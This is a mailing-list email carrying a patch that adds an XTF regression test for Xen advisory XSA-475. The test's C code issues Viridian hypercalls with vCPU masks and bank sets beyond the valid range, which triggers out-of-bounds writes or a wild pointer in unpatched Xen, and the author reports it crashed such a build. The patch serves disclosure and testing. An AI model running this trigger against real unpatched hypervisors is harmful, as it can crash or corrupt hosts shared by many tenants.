From nobody Thu Jul 23 21:54:36 2026 Delivered-To: importer@patchew.org Received-SPF: pass (zohomail.com: domain of lists.xenproject.org designates 192.237.175.120 as permitted sender) client-ip=192.237.175.120; envelope-from=xen-devel-bounces@lists.xenproject.org; helo=lists.xenproject.org; Authentication-Results: mx.zohomail.com; dkim=pass; spf=pass (zohomail.com: domain of lists.xenproject.org designates 192.237.175.120 as permitted sender) smtp.mailfrom=xen-devel-bounces@lists.xenproject.org; dmarc=pass(p=none dis=none) header.from=vates.tech ARC-Seal: i=1; a=rsa-sha256; t=1783531429; cv=none; d=zohomail.com; s=zohoarc; b=UQo/+MPvWo44N3uu9rZT6IT8RlR/7sTctzBRnGz/hdDs7VeFjPIqIga5wHDlPy4WeGMAg1OKPVeX6j165lE5HnJjvHwjLXmAvaH6O0aidQFszkYyZyvR7L6aJBCOTu7gU5/ZbG7/7SCvWaelbRhBynynmjcNEJhWJXBIN5zOIqA= ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.com; s=zohoarc; t=1783531429; h=Content-Type:Cc:Cc:Date:Date:From:From:List-Subscribe:List-Post:List-Id:List-Help:List-Unsubscribe:MIME-Version:Message-ID:Sender:Subject:Subject:To:To:Message-Id:Reply-To; bh=oj6RimOavrbH8M16bEu26iR8Z6kcST6Gi/3iDkDJfv8=; b=HV+B29wutKW9NrAqRB3sfW3MuZMhMaC0sRgXoPv4QhZnqSbfuRdIzmurhWra3G7MrHSFs0kZDx1K1qAPmmMdNOuTNaa6RhjjzHwJQgynTmLnP+K6wSn95gbcu21DjcL25kxbys63qJFoEErb6/sOuKpaKZz6enAIv1EYYG1MPho= ARC-Authentication-Results: i=1; mx.zohomail.com; dkim=pass; spf=pass (zohomail.com: domain of lists.xenproject.org designates 192.237.175.120 as permitted sender) smtp.mailfrom=xen-devel-bounces@lists.xenproject.org; dmarc=pass header.from= (p=none dis=none) Return-Path: Received: from lists.xenproject.org (lists.xenproject.org [192.237.175.120]) by mx.zohomail.com with SMTPS id 1783531429515425.3166402164728; Wed, 8 Jul 2026 10:23:49 -0700 (PDT) Received: from list by lists.xenproject.org with outflank-mailman.1357255.1611725 (Exim 4.92) (envelope-from ) id 1whVzR-0008Ts-BW; Wed, 08 Jul 2026 17:23:17 +0000 Received: by outflank-mailman (output) from mailman id 1357255.1611725; Wed, 08 Jul 2026 17:23:17 +0000 Received: from localhost ([127.0.0.1] helo=lists.xenproject.org) by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from ) id 1whVzR-0008Tl-7p; Wed, 08 Jul 2026 17:23:17 +0000 Received: by outflank-mailman (input) for mailman id 1357255; Wed, 08 Jul 2026 17:23:16 +0000 Received: from mx.expurgate.net ([194.145.224.20]) by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from ) id 1whVzP-0008Sa-PL for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 17:23:16 +0000 Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp id 1whVzO-000TWI-GM for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 19:23:14 +0200 Received: from [10.42.69.1] (helo=localhost) by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from ) id 6a4e875d-2eae-0a2a0a5409dd-0a2a4501a7f0-22 for ; Wed, 08 Jul 2026 19:23:14 +0200 Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net) by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1) (envelope-from ) id 6a4e8781-400f-0a2a45010019-b9ff1c12a00f-3 for ; Wed, 08 Jul 2026 19:23:14 +0200 Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr) (Authenticated sender: 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e) by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id 19f42c14e64000edb5.002 for (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384); Wed, 08 Jul 2026 17:23:12 +0000 Received: from bazzite.gpn.vates.fr (88-188-240-210.subs.proxad.net [88.188.240.210]) (Authenticated sender: teddy.astie) by mail2.vates.fr (Postfix) with ESMTPSA id D377180F03; Wed, 8 Jul 2026 19:23:11 +0200 (CEST) X-Outflank-Mailman: Message body and most headers restored to incoming version X-BeenThere: xen-devel@lists.xenproject.org List-Id: Xen developer discussion List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Errors-To: xen-devel-bounces@lists.xenproject.org Precedence: list Sender: "Xen-devel" Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID" DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech; q=dns/txt; s=selector1; bh=oj6RimOavrbH8M16bEu26iR8Z6kcST6Gi/3iDkDJfv8=; h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id; b=EEBJ8gpxfEKivaJdkc+gbDZOQu+HQAbrNxQmtElA44DOyOytNP/7hFoth3/twEdX9eF0aY+M7 Y6udofVP/Ytk1kDPlKX4VoGbHfVNwpfaze3PxGmBb+INatSe9j3fLbLLYxyi+6HLPH/2BlB6N5H ellJiulv0Yu6oGFC8zRC5BYZEfvGrN06mDGqQ0IDAcsxwHFA1YHbZ35IlZswdZCBON0sRqNt1dO RwGALaqFNBSB+yoxVo17IKg5wk+bdJ34ruqIAlzGx+6GuKoDetUnnb7eGYyvOzqcLRzYA0bVckW y5E+tSJULxUkNbZEsjcj4gq+CjkWYsv2ZgVT7+r5JAIw== X-Zone-Loop: d2d81eafd50eeae66f8e3e92762cc59efee5a9aa70a2 x-campaign-type: default x-transaction-id: ce6aa81e-c7ef-40d2-b263-118de11b7973 x-swg-uid: 01-a163ac5f-b2d5-48c1-bd94-d620e4d81547 X-Mailer: Sweego Message-ID: <1783531392.8631fc262581453bbf619ec5b2062170.19f42c14e64000edb5@vates.tech> x-swg-bid: 1783531392.8631fc262581453bbf619ec5b2062170.19f42c14e64000edb5 Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego x-campaign-id: default x-client-id: 8631fc262581453bbf619ec5b2062170 X-Originating-IP: [37.26.189.201] From: Teddy Astie To: xen-devel@lists.xenproject.org Cc: Teddy Astie , Andrew Cooper Subject: [XTF PATCH] XSA-475 PoC: Viridian Out-of-bounds Date: Wed, 8 Jul 2026 19:22:28 +0200 MIME-Version: 1.0 X-BM-Disclaimer: Yes Content-Type: multipart/alternative; boundary="-=Part.45e.7bcd06253e1d0c30.19f42c14be1.cb63fb390224e886=-" X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2 X-Bm-Transport-Timestamp: 1783531391970 X-purgate-ID: tlsNG-d62444/1783531394-D18C31E0-8E48F372/0/0 X-purgate-type: clean X-purgate-size: 6206 X-ZohoMail-DKIM: pass (identity @vates.tech) X-ZM-MESSAGEID: 1783531433107158500 ---=Part.45e.7bcd06253e1d0c30.19f42c14be1.cb63fb390224e886=- Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Signed-off-by: Teddy Astie --- CC: Andrew Cooper Tested (crashing Xen) on a Xen build with reverted patch (tested both CVEs). docs/all-tests.dox | 1 + tests/xsa-475/Makefile | 11 ++++ tests/xsa-475/extra.cfg.in | 1 + tests/xsa-475/main.c | 124 +++++++++++++++++++++++++++++++++++++ 4 files changed, 137 insertions(+) create mode 100644 tests/xsa-475/Makefile create mode 100644 tests/xsa-475/extra.cfg.in create mode 100644 tests/xsa-475/main.c diff --git a/docs/all-tests.dox b/docs/all-tests.dox index ff38747..441eaf7 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -185,6 +185,7 @@ states. =20 @subpage test-xsa-472-3 - Viridian reference TSC page leak. =20 +@subpage test-xsa-475 - x86: Incorrect input sanitisation in Viridian hype= rcalls =20 @section index-utility Utilities =20 diff --git a/tests/xsa-475/Makefile b/tests/xsa-475/Makefile new file mode 100644 index 0000000..31bdb84 --- /dev/null +++ b/tests/xsa-475/Makefile @@ -0,0 +1,11 @@ +include $(ROOT)/build/common.mk + +NAME :=3D xsa-475 +CATEGORY :=3D xsa +TEST-ENVS :=3D hvm64 + +TEST-EXTRA-CFG :=3D extra.cfg.in + +obj-perenv +=3D main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-475/extra.cfg.in b/tests/xsa-475/extra.cfg.in new file mode 100644 index 0000000..7ca5a28 --- /dev/null +++ b/tests/xsa-475/extra.cfg.in @@ -0,0 +1 @@ +viridian =3D [ "base" ] \ No newline at end of file diff --git a/tests/xsa-475/main.c b/tests/xsa-475/main.c new file mode 100644 index 0000000..cfdacab --- /dev/null +++ b/tests/xsa-475/main.c @@ -0,0 +1,124 @@ +/** + * @file tests/xsa-475/main.c + * @ref test-xsa-475 + * + * @page test-xsa-475 XSA-475 + * + * Advisory: [XSA-475](https://xenbits.xen.org/xsa/advisory-475.html) + * + * Some bounds check were missing in viridian hypercalls, causing out of b= ound + * writes (CVE-2025-58147) or operating on a wild pointer (CVE-2025-58148). + * We can trigger it by targetting vCPUs ID that are over HVM_MAX_VCPUS. + * + * @see tests/xsa-475/main.c + */ + +#include + +const char test_title[] =3D "XSA-475"; + +#define HVCALL_SEND_IPI 0x000b + +#define HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_EX 0x0013 +#define HVCALL_FLUSH_VIRTUAL_ADDRESS_LIST_EX 0x0014 +#define HVCALL_SEND_IPI_EX 0x0015 + +enum HV_GENERIC_SET_FORMAT { + HV_GENERIC_SET_SPARSE_4K, + HV_GENERIC_SET_ALL, +}; + +struct hv_vpset { + uint64_t format; + uint64_t valid_bank_mask; + uint64_t bank_contents[64]; +}; + +static void test_send_ipi(uint64_t vcpu_mask) +{ + struct { + uint32_t vector; + uint8_t target_vtl; + uint8_t reserved_zero[3]; + uint64_t vcpu_mask; + } input_params =3D { 0 }; + + input_params.vector =3D 0xD0; + input_params.vcpu_mask =3D vcpu_mask & ~1; /* Don't self-ipi */ + + if (vendor_is_intel) + asm volatile ("vmcall" :: "a"(0x80000000U), "c"(HVCALL_SEND_IPI), + "d"(&input_params) : "memory"); + else if (vendor_is_amd) + asm volatile ("vmmcall" :: "a"(0x80000000U), "c"(HVCALL_SEND_IPI), + "d"(&input_params) : "memory"); +} + +static void test_send_ipi_ex(struct hv_vpset set) +{ + int ret =3D 0; + struct { + uint64_t address_space; + uint64_t flags; + struct hv_vpset set; + } input_params; + + input_params.address_space =3D 0; + input_params.flags =3D 0; + input_params.set =3D set; + + if (vendor_is_intel) + asm volatile ("vmcall" : "=3Da"(ret) : "a"(0x80000000U), + "c"(HVCALL_SEND_IPI_EX), + "d"(&input_params) : "memory"); + else if (vendor_is_amd) + asm volatile ("vmmcall" : "=3Da"(ret) : "a"(0x80000000U), + "c"(HVCALL_SEND_IPI_EX), + "d"(&input_params) : "memory"); +} + +static void test_flush_vaddr_ex(struct hv_vpset set) +{ + int ret =3D 0; + struct { + uint64_t address_space; + uint64_t flags; + struct hv_vpset set; + } input_params; + + input_params.address_space =3D 0; + input_params.flags =3D 0; + input_params.set =3D set; + + if (vendor_is_intel) + asm volatile ("vmcall" : "=3Da"(ret) : "a"(0x80000000U), + "c"(HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_EX= ), + "d"(&input_params) : "memory"); + else if (vendor_is_amd) + asm volatile ("vmmcall" : "=3Da"(ret) : "a"(0x80000000U), + "c"(HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_E= X), + "d"(&input_params) : "memory"); + } + +void test_main(void) +{ + struct hv_vpset set; + set.format =3D HV_GENERIC_SET_SPARSE_4K; + + printk("Test HVCALL_SEND_IPI to 64 first CPUs (non-existent)\n"); + test_send_ipi(~0); + + printk("Test HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_EX with all banks set\= n"); + set.valid_bank_mask =3D ~0; + memset(set.bank_contents, 1, sizeof(set.bank_contents)); + test_flush_vaddr_ex(set); + + printk("Test HVCALL_FLUSH_VIRTUAL_ADDRESS_SPACE_EX with all banks set = (skipping self)\n"); + set.valid_bank_mask =3D ~0; + memset(set.bank_contents, 1, sizeof(set.bank_contents)); + set.bank_contents[0] &=3D 1; /* don't self-ipi */ + test_send_ipi_ex(set); + + xtf_success("Success: Probably not vulnerable to XSA-475\n"); +} + --=20 2.54.0 --=20 Teddy Astie | Vates XCP-ng Developer XCP-ng & Xen Orchestra - Vates solutions web: https://vates.tech ---=Part.45e.7bcd06253e1d0c30.19f42c14be1.cb63fb390224e886=---